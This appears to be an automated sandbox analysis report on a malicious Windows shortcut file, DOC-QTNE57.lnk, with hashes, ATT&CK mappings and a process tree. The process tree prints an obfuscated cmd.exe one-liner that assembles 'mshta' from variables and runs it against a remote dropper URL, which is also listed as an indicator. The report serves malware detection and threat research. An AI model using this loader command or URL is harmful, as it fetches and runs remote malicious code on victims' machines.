7588f287f3371c5cbd82f5fc360aeb41e4817dbecf1610ae01d06ce35982181f

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:22

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General

Target
DOC-QTNE57.lnk
Size 1KB
Sample260803-qmkjsazbnd
SHA256 7588f287f3371c5cbd82f5fc360aeb41e4817dbecf1610ae01d06ce35982181f
MD5 93dc8980a1b7a6e5b06b06deefc3d882
SHA1 f19e6bb0fc6197c578ff2dd7ee4bc4b339db3e04
SHA512 2f3cd1a1e1e2f17f2b5c2c98d71225f06adcbd025c3d9e1ccab71a1e80b6d2d2d2d658dfd41047380b7c96df66c1496fedd0ca15670e854267f8f79dc3778e31
TLSH
T1F43147503FFA0668F3F78E7394BB5B2089BFB9668E24C61D4141464C5432A14E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4980	cmd.exe
4460	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4980 wrote to memory of 4460	4980	cmd.exe	90
PID 4460 wrote to memory of 844	4460	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-QTNE57.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4980
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set GYhU=msh&&set dCQp=ta&&start "" !GYhU!!dCQp! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads